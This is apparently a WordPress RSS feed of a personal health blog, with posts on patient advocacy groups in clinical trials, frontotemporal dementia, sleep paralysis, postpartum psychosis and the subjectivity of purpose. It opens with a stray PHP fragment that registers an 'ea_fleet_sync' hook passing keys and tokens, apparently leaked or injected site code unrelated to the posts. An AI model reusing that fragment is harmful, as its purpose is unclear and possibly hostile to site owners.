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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Blog – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Mon, 09 Sep 2024 11:53:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Blog – Tobioloyede https://tobioloyede.com 32 32 Transforming Clinical Trials Through Early Engagement https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/ https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/#respond Mon, 09 Sep 2024 11:53:37 +0000 https://tobioloyede.com/?p=2399 Shifting the Landscape: How Early Engagement with Patient Advocacy Groups is Transforming Clinical Trials and Promoting Health Equity

Source 

Imagine a world where medical treatments work for everyone, regardless of background. In recent years, the landscape of clinical trials has been evolving, with an increasing emphasis on diversity and health equity. At the forefront of this shift is patient advocacy. This vision is becoming a reality as Patient Advocacy Groups (PAG) champion the cause of diversity and health equity in clinical trials. By partnering with these groups early in the research process, we’re changing how trials are conducted and transforming the entire healthcare landscape. Here’s how:

Why Diversity in Clinical Trials Matters

Clinical trials are the lifeblood of medical innovation, providing the critical data needed to develop new treatments. Yet, for too long, these trials have been skewed toward homogeneity, often excluding the very populations who stand to benefit the most.

Diverse clinical trials are essential because genetic, environmental, and socio-economic factors can significantly influence how different groups respond to treatments. Without inclusive research, we risk creating therapies that are less effective—or even harmful—for underrepresented populations. By ensuring a broad spectrum of participants, we pave the way for safer, more effective treatments for everyone.

The FDA’s Diversity Action Plan, released in June 2024, emphasizes the importance of promoting diversity in clinical trials and ensuring that treatments are safe and effective for all populations, which is echoed in the emphasis on early engagement with Patient Advocacy Groups (PAGs) to foster inclusive and patient-centered research.

The Game-Changing Role of Patient Advocacy and PAGs

Patient advocacy groups (PAGs) are revolutionizing the clinical trial landscape by championing the cause of diversity and health equity. Their involvement in clinical research is proving to be transformative, addressing long-standing issues and paving the way for more inclusive and effective medical treatments. Here’s how PAGs are making a significant impact:

1. Raising Awareness and Educating Communities

One of the most crucial roles of PAGs is raising awareness about the importance of clinical trials. Advocacy groups actively educate communities about the benefits of participating in trials, demystifying the process, and addressing common misconceptions. By leveraging their networks and outreach capabilities, PAGs help ensure that diverse populations are informed and engaged, increasing participation rates and helping to bridge the gap between researchers and underrepresented communities.

2. Building Trust and Bridging Gaps

Many historically marginalized communities have deep-seated mistrust of medical research due to past abuses and ongoing disparities. PAGs serve as trusted intermediaries, using their established relationships within these communities to foster trust and encourage participation in clinical trials. Their role as advocates helps to mitigate fears and overcome skepticism, facilitating more inclusive research practices and ensuring that diverse perspectives are considered.

3. Boosting Recruitment and Retention

Recruiting and retaining diverse participants in clinical trials can be challenging, but PAGs play a vital role in this process. They assist researchers in identifying potential participants from various backgrounds and offer support throughout the trial to enhance retention rates. This support includes providing culturally sensitive resources, addressing participant concerns, and ensuring that all participants feel valued and supported, which is crucial for trial success.

4. Providing Valuable Insights and Feedback

PAGs bring valuable insights into the design and implementation of clinical trials. By involving these groups early in the research process, researchers gain access to a wealth of knowledge about patient needs, preferences, and potential barriers to participation. This feedback helps design patient-centric trials that are more responsive to the real-world experiences of diverse populations, ultimately leading to better trial outcomes and more effective treatments.

5. Advocating for Policy Changes

Beyond individual trials, PAGs advocate for broader policy changes that promote diversity and health equity in clinical research. They work with policymakers and regulatory bodies to influence guidelines and standards that support inclusive practices. By championing these changes, PAGs help to create a more equitable research environment that benefits all patients.

Patient Advocacy's Power in Giving Voice to Minority Clients - North Shore Patient Advocates

Some Strategies for Enhancing Diversity and Equity (Interestingly, these also work for Early Patient Engagements—PAGs)

We must adopt and expand strategies promoting early engagements, diversity, and health equity in clinical trials.

  1. Foster Strong Partnerships: Develop robust collaborations between researchers, patient advocacy groups, and community organizations to amplify the reach and impact of clinical trials.

 

  1. Promote Cultural Competency: Train researchers and trial staff in cultural competency to better understand and address the unique needs of diverse populations.

 

  1. Design Patient-Centric Trials: Involve advocacy groups in designing and implementing clinical trials to ensure they are patient-centric and responsive to the needs of all participants irrespective of sexual orientation, gender, race/ethnicity, age, and other social factors.

 

  1. Communicate Transparently: Maintain open, honest communication with participants throughout the trial process, sharing results and acknowledging the vital contributions of all involved. Additionally, ensure that participants’ health literacy is considered; thus, health communication is key.

Conclusion

Early engagement with patient advocacy groups is transforming the landscape of clinical trials, making them more inclusive and representative. By prioritizing diversity and health equity, we can develop treatments that are effective for all populations, ultimately leading to a more equitable healthcare system. The collaboration between researchers and patient advocacy groups is a powerful force for change, paving the way for a future where every patient has access to the best possible care. Together, we can ensure that all people share the benefits of medical research, regardless of background or circumstance.

“If we want to make sure every patient has the best shot, we have to have diversity in clinical trials. The time is now.” – Dr. Freda Lewis-Hall

Sources:

Image 1: The Social Media VUCA-bulary! 

Image 2: Patient Advocacy’s Power in Giving Voice to Minority Clients—North Shore Patient Advocates

FDA Guidance Provides New Details on Diversity Action Plans Required for Certain Clinical Studies

]]> https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/feed/ 0 Unveiling Frontotemporal Dementia https://tobioloyede.com/frontotemporal-dementia-a-call-to-action-on-rare-disease-day-2024/ https://tobioloyede.com/frontotemporal-dementia-a-call-to-action-on-rare-disease-day-2024/#respond Thu, 29 Feb 2024 07:00:49 +0000 https://tobioloyede.com/?p=2373 A Call to Action on Rare Disease Day 2024

Following a stint at one of the world’s leading biopharmaceutical companies, I became exposed to frontotemporal dementia (FTD) and its associated challenges. In a world where Alzheimer’s disease often takes center stage in discussions about dementia, my eyes were opened to the lesser-known but equally impactful FTD. The catalyst for this exploration was an eye-opening article from The New York Times, titled “The Vanishing Family,” which shed light on the unique challenges faced by a family where a 50-50 chance of middle-age dementia diagnosis looms over different generations. Additionally, the recent diagnoses of Wendy Williams and Bruce Willis have brought FTD into the public eye, prompting a closer look at the research behind this enigmatic condition.

As an avid researcher, my journey into FTD began with a quest for knowledge and a desire to contribute to the understanding and treatment of rare diseases. Frontotemporal dementia, with its unique challenges and varied manifestations, presents an intriguing puzzle for researchers. From genetic factors contributing to familial forms of FTD to the exploration of potential therapeutic avenues, the research community is actively working towards unraveling the complexities of this condition.

What exactly is Frontotemporal Dementia?
According to Alzheimer’s Research UK, FTD is a collective term encompassing a set of disorders characterized by the accumulation of tau and other proteins that lead to the degeneration of brain cells. Specifically, these protein deposits affect the frontal lobes (situated behind the forehead) and temporal lobes (positioned behind the ears) of the brain. Typically manifesting between the ages of 45 and 64, FTD represents a form of dementia with distinct neurological implications, impacting cognitive functions associated with these specific brain regions. The National Institute on Ageing states that individuals with behavioral FTD may struggle with recollection, planning, sequencing, and setting priorities. They may repeat the same action or remark, lose interest in life, and behave erratically, resulting in the use of inappropriate language or humiliating behavior.

Notably, there is currently no cure or means to slow down the disorder. However, speech therapy can be helpful. Speaking to a doctor is of utmost importance.

Frontotemporal dementia may be a lesser-known entity in the realm of dementia. Still, the stories of families like “The Vanishing Family” and the public disclosures by individuals like Wendy Williams and Bruce Willis have brought it to the forefront. We can all work together to create a better future for people and families dealing with difficult conditions by increasing awareness, fostering collaboration, and advocating for those living with challenging conditions.

On Rare Disease Day 2024, we are raising awareness and generating change for the 300 million people living with a rare disease, their families, and carers worldwide.

 

Featured Image Sources: Health Jade and Discovery Senior Living

References:

Budson, A. E. (2023, February 22). What is frontotemporal dementia?. Harvard Health. https://www.health.harvard.edu/blog/what-is-frontotemporal-dementia-202302222894

U.S. Department of Health and Human Services. (2021, July 30). What are frontotemporal disorders? causes, symptoms, and treatment. National Institute on Ageing. https://www.nia.nih.gov/health/frontotemporal-disorders/what-are-frontotemporal-disorders-causes-symptoms-and-treatment#:~:text=In%20most%20cases%2C%20the%20cause,permanent%20changes)%20in%20certain%20genes.
What is frontotemporal dementia?. Alzheimer’s Research UK. (2024, January 24). https://www.alzheimersresearchuk.org/dementia-information/types-of-dementia/frontotemporal-dementia/
]]> https://tobioloyede.com/frontotemporal-dementia-a-call-to-action-on-rare-disease-day-2024/feed/ 0 Sleep Paralysis: From Spiritual Beliefs to Scientific Understanding https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/ https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/#respond Thu, 01 Jun 2023 03:45:15 +0000 https://tobioloyede.com/?p=2276 The phenomenon of sleep paralysis has been a subject of fascination and intrigue for years, often eliciting feelings of unease among individuals who experience it (Cox, 2015). It has been attributed to supernatural factors rather than scientific explanations in various civilizations, including Nigeria. Here, I delve into my personal narrative, as a young Nigerian who originally attributed sleep paralysis to a spiritual issue but ultimately gained a fresh outlook through scientific comprehension. I am certain that you or someone you know would have thought about sleep paralysis as a spiritual something.

“Sleep paralysis is not rare. Surveys around the world suggest that 20-45% of people experience at least one sleep paralysis episode in their lifetimes.”-Davies, 2003, p.182.

I grew up in a traditional Nigerian household deeply rooted in spiritual beliefs and practices. From a young age, I had been taught to interpret unusual occurrences through the lens of the supernatural. So, whenever I experienced sleep paralysis, I naturally attributed it to malevolent spirits or mystical forces. On some nights, I experienced peculiar phenomena that shook me to my core. As I lay in bed, ready to drift into a peaceful slumber, I suddenly found myself trapped in a state of sleep paralysis. Unable to move my body or speak, I felt an overwhelming sense of terror engulfing me. I began to see vivid hallucinations and hear eerie voices that seemed to taunt me.  

Source
Source

My encounters with sleep paralysis were accompanied by terrifying nightmares and a sense of helplessness. I believed that malevolent spirits were trying to suffocate me, rendering me immobile and voiceless. These experiences left me shaken and fearful, seeking solace in prayers as a means of protection. Every night it happened, I would decide to stay awake all night for fear of re-experiencing it. In search of answers, whenever I relayed my experiences to people, all that was suggested is the supernatural and particularly prayers.   However, my perspective underwent a gradual transformation when I stumbled upon scientific literature discussing sleep paralysis. Intrigued by the possibility of a different explanation, I delved into the research, uncovering the physiological and psychological aspects of the phenomenon.

What is Sleep Paralysis?

Sleep paralysis is a condition characterized by the maintenance of muscle atonia during the REM (rapid eye movement) sleep phase, resulting in the resumption of consciousness and the inability to move any part of the body (Farooq and Anjum, 2022). This often leads to intense feelings of fear and apprehension in the affected individual.

Causes of Sleep Paralysis

-Lack of sleep/insomnia

-Sleep schedule that changes: disrupted sleeping patterns – for example, because of shift work or jet lag

-Mental conditions such as stress or bipolar disorder

-Sleeping on your back

-Use of certain medications, such as those for ADHD -Substance abuse

-Narcolepsy – a long-term condition that causes a person to suddenly fall asleep

-Post-traumatic stress disorder (PTSD)

-Anxiety disorder

-Panic disorder

-A family history of sleep paralysis

Coping Strategies for Sleep Paralysis

  • Improving your sleep hygiene
  • Stress and Anxiety Management
  • Sleep Position and Sleep Aids
  • Seeking Professional Help

Armed with this newfound knowledge, I began to integrate science and spirituality into my perspective on sleep paralysis. I recognized the significance of cultural beliefs and the comfort they can bring, while also appreciating the value of medical expertise and scientific explanations. My personal journey allowed me to navigate the complex intersection of spirituality and science. I gradually realized that both realms have their merits and that a holistic approach can provide a deeper understanding of sleep paralysis. I learned to respect my cultural heritage while embracing scientific knowledge as a means of empowerment and self-discovery.  

In conclusion, sleep paralysis is a complex phenomenon that can elicit distress among individuals who undergo it. Through comprehension of the etiology, manifestations, and adaptive techniques linked to sleep paralysis, individuals can enhance their ability to manage this occurrence. It is imperative to seek professional guidance for comprehensive care and support if an individual or someone you know is experiencing sleep paralysis.  

My story illuminates the transformative power of knowledge and the importance of questioning ingrained beliefs. My journey from perceiving sleep paralysis as a spiritual issue to embracing scientific understanding showcases the potential for growth and a more comprehensive understanding of the world around us. By sharing my experience, I hope to convince others to explore diverse perspectives and appreciate the harmony that can exist between spirituality and science.  

References

Cox A. M. (2015). Sleep paralysis and folklore. JRSM open, 6(7), 2054270415598091. https://doi.org/10.1177/2054270415598091  

Davies, O. (2003). The Nightmare Experience, Sleep Paralysis, and Witchcraft Accusations. Folklore, 114(2), 181–203. http://www.jstor.org/stable/30035099  

Farooq M, Anjum F. Sleep Paralysis. [Updated 2022 Sep 5]. In: StatPearls [Internet]. Treasure Island (FL): StatPearls Publishing; 2023 Jan-. Available from: https://www.ncbi.nlm.nih.gov/books/NBK562322/

]]> https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/feed/ 0 Postpartum Psychosis: A Growing Concern in the United States https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/ https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/#comments Fri, 10 Mar 2023 05:12:27 +0000 https://tobioloyede.com/?p=2215 The birth of a child is commonly considered a joyful and life-changing event. However, for some new mothers, the postpartum period can be fraught with difficulties and complexities, such as postpartum depression and anxiety. One of the most severe forms of postpartum mental health issues is postpartum psychosis, a rare but potentially life-threatening condition that affects approximately 1 to 2 out of every 1,000 women who give birth or approximately 0.1-0.2% of births. According to the National Institute of Mental Health (NIMH), psychosis is a term that describes conditions that affect the mind and cause a loss of sense of reality.

Recent studies have shown a growing trend of postpartum psychosis in the United States, with an increasing number of cases being reported each year. Recent tragedies involving Lindsay Clancy in Boston, Massachusetts, and Paulesha Green-Pulliam in San Francisco, California, have re-ignited the urgent need for a national conversation regarding postpartum psychosis and maternal mental health concerns.

Melanie Thomas, MD, a psychiatrist on the 2020 Mom’s Advisory Board comments, “as a perinatal psychiatrist, postpartum psychosis is the hardest, most difficult diagnosis I see. My heart breaks for these two mothers, their suffering, and their families.  Tools like the 2020 Mom Psychosis Symptom Checklist are one step toward giving families the information and support they need and deserve.” 

Psychotic symptoms may include but are not limited to:

  • Delusions and hallucinations: A new mother may have delusions and see or hear voices that do not exist (hallucinations).
  • Confusion and disorientation: A woman suffering from postpartum psychosis may have difficulty thinking clearly and may struggle with daily tasks.
  • Mania and agitation: A new mother may feel energized, have racing thoughts, and have an excessive sense of self-esteem.
  • Severe depression: A woman suffering from postpartum psychosis may feel intense sadness, hopelessness, and worthlessness.
  • Suicidal or homicidal thoughts: A new mother may have suicidal or homicidal thoughts in some cases.
  • Insomnia: A woman suffering from postpartum psychosis may have difficulty sleeping, even if her baby is sleeping.

Postpartum psychosis is difficult to treat because healthcare providers and the public are unaware of it. Due to mental health stigma and a lack of understanding regarding postpartum psychosis, many women may not seek care. About 50% of women who experience postpartum psychosis have experienced mental illness in the past.1 A 2019 study found that 1 in 5 people with bipolar disorder may have postpartum psychosis after giving birth.12% of those who experience postpartum psychosis are considered to also have schizophrenia.2

It is critical that healthcare professionals acquire in-depth training on the identification and treatment of postpartum mental health difficulties in order to address this emerging trend and improve the results for women with postpartum psychosis. Included in this are alternatives for evidence-based therapy, timely referral to specialized mental health care, and early screening and assessment for postpartum psychosis.

Together, we can improve the outcomes for women who experience postpartum psychosis and make sure they get the support and care they require at this crucial time. If you or someone you know is exhibiting signs of postpartum psychosis, it’s critical to seek quick medical assistance. Early intervention can improve the situation for the new mother and her infant by lowering the likelihood of major complications.

NIMH also suggests ways to find help:

Overall, postpartum psychosis is a severe mental health condition that affects a small but significant number of women who have recently given birth. It can have devastating consequences for both the mother and her infant if not identified and treated promptly. Despite growing awareness and efforts to improve screening and treatment options, there is still a long way to go in addressing the stigma and lack of understanding surrounding postpartum mental health difficulties. It is crucial that healthcare providers, policymakers, and the public work together to ensure that new mothers receive the care and support they need during this critical time in their lives.

Key Takeaways

Postpartum psychosis is a rare but potentially life-threatening condition that affects some new mothers, causing them to experience symptoms such as delusions, hallucinations, confusion, disorientation, mania, severe depression, and suicidal or homicidal thoughts. It is crucial for healthcare professionals to receive adequate training in identifying and treating postpartum mental health issues, and for women to seek early medical assistance if they exhibit any signs of postpartum psychosis.

“Once you choose hope, anything is possible.” — Christopher Reeve

Sources

1Perry, A., Gordon-Smith, K., Jones, L., & Jones, I. (2021). Phenomenology, Epidemiology and Etiology of Postpartum Psychosis: A Review. Brain Sciences, 11(1), 47. MDPI AG. Retrieved from http://dx.doi.org/10.3390/brainsci11010047
2Gordon-Smith, K., Perry, A., Di Florio, A., Forty, L., Fraser, C., Casanova Dias, M., Warne, N., MacDonald, T., Craddock, N., Jones, L., & Jones, I. (2020). Symptom profile of postpartum and non-postpartum manic episodes in bipolar I disorder: a within-subjects study. Psychiatry Research, 284, 112748. https://doi.org/10.1016/j.psychres.2020.112748 This file was medically reviewed, February 2022.

Image Source: Mind Help

 

 

 

]]> https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/feed/ 1 The Subjectivity of Purpose https://tobioloyede.com/the-subjectivity-of-purpose/ https://tobioloyede.com/the-subjectivity-of-purpose/#respond Fri, 17 Feb 2023 05:06:50 +0000 https://tobioloyedesblog.wordpress.com/?p=583

As a concept, purpose is often misunderstood, and here’s a disclaimer; I have my reservations about the term purpose. Why? I think purpose can be whatever you decide is important and you doing it. Hence, you can find purpose anywhere or in anything you do.

What exactly is Purpose, why is it important, why am I here, where am I going? I can’t feel myself in this career or in the program… Purpose.

To psychologists, purpose is an unwavering commitment to achieving a long-term goal that is equally meaningful and positively impacts the world. Interestingly, the intentions that nurture our sense of purpose are those that have the potential to change our lives and those of the people around us, such as starting a nonprofit, researching a phenomenon, changing careers, or switching programs in school.

Always remember, change is constant, thus, our sense of direction, the things that push us to do whatever we want to do also change over the course of our lives. This slightly hinges on grappling with our identities, moving from being teenagers, taking up adulthood responsibilities, and building personal life, to retirement and the list goes on.  Just as the saying that happiness is not a destination, purpose itself is not, rather, it is a journey that involves conscious practice. By implication, purpose is accessible at any stage or age once we are willing to do the work it takes. If you are moving from being a biologist to being a network engineer-work to be that person.

Some of us find purpose in situations we least expect or things we just wanted to do to pass time or use as a saving plan (been there, done that). For some of us, we become worried that people around us would think that we do not have “Purpose” seeing that we waver around. Let me say this, purpose is not what you do, it is who you are. No one is given birth to a nurse, you change roles to get there, and you can move to be a writer at the end. The ability to excel at the seemingly different things that you do makes a difference and when examined properly, you might find the connector among these different things, careers, or programs.

Click to watch this! “Do not let anyone tell you that you are jumping from one career, or thing, or doing this and that. It’s theirs to talk to, it’s yours to do/act. Do you! Do you know why? They will do the same if /when they can. Whatever you find yourself doing, do it well and enjoy it. They will understand later.”

I have come to understand that living the so-called life of purpose is not about finding that one very big thing or one true calling that we were created to be. 

 

Purpose is subjective; spending my time doing something meaningful, and important, and things I can be proud of. Purpose is not farfetched, not this thing that has cosmic meaning, not a predetermined universal destiny, not a big thing that once you find it, every other aspect of your life will be in shape. Purpose is continuous, you create and maintain it and sometimes you lose it, and go back to recreate it.

We need to ask ourselves at different points “what do I find important or meaningful?”

 

We can find purpose/what matters to us in different things/places. What matters to you at 20 may be different from what matters to you at 30…

 

 

MYTH# 1: There is a single purpose for you

MYTH# 2: Purpose is constant/static

MYTH# 3: Purpose solves everything

How about we move beyond finding purpose, to creating purpose? Remember purpose, is that thing that matters to you. Purpose is a question of value, what we choose to be important, and how to be better.

I try to find the connector in all I do. Thus, I can call myself a multipotentialite.

Purpose is Subjective!

I conclude with the words of Emilie Wapnick:

‘to you I say:
Embrace your many passions, follow your curiosity down those rabbit holes, explore your intersections. Embracing our inner wiring leads to a happier, more authentic life, and perhaps more importantly — multipotentialites, the world needs us.

 

 

 

 

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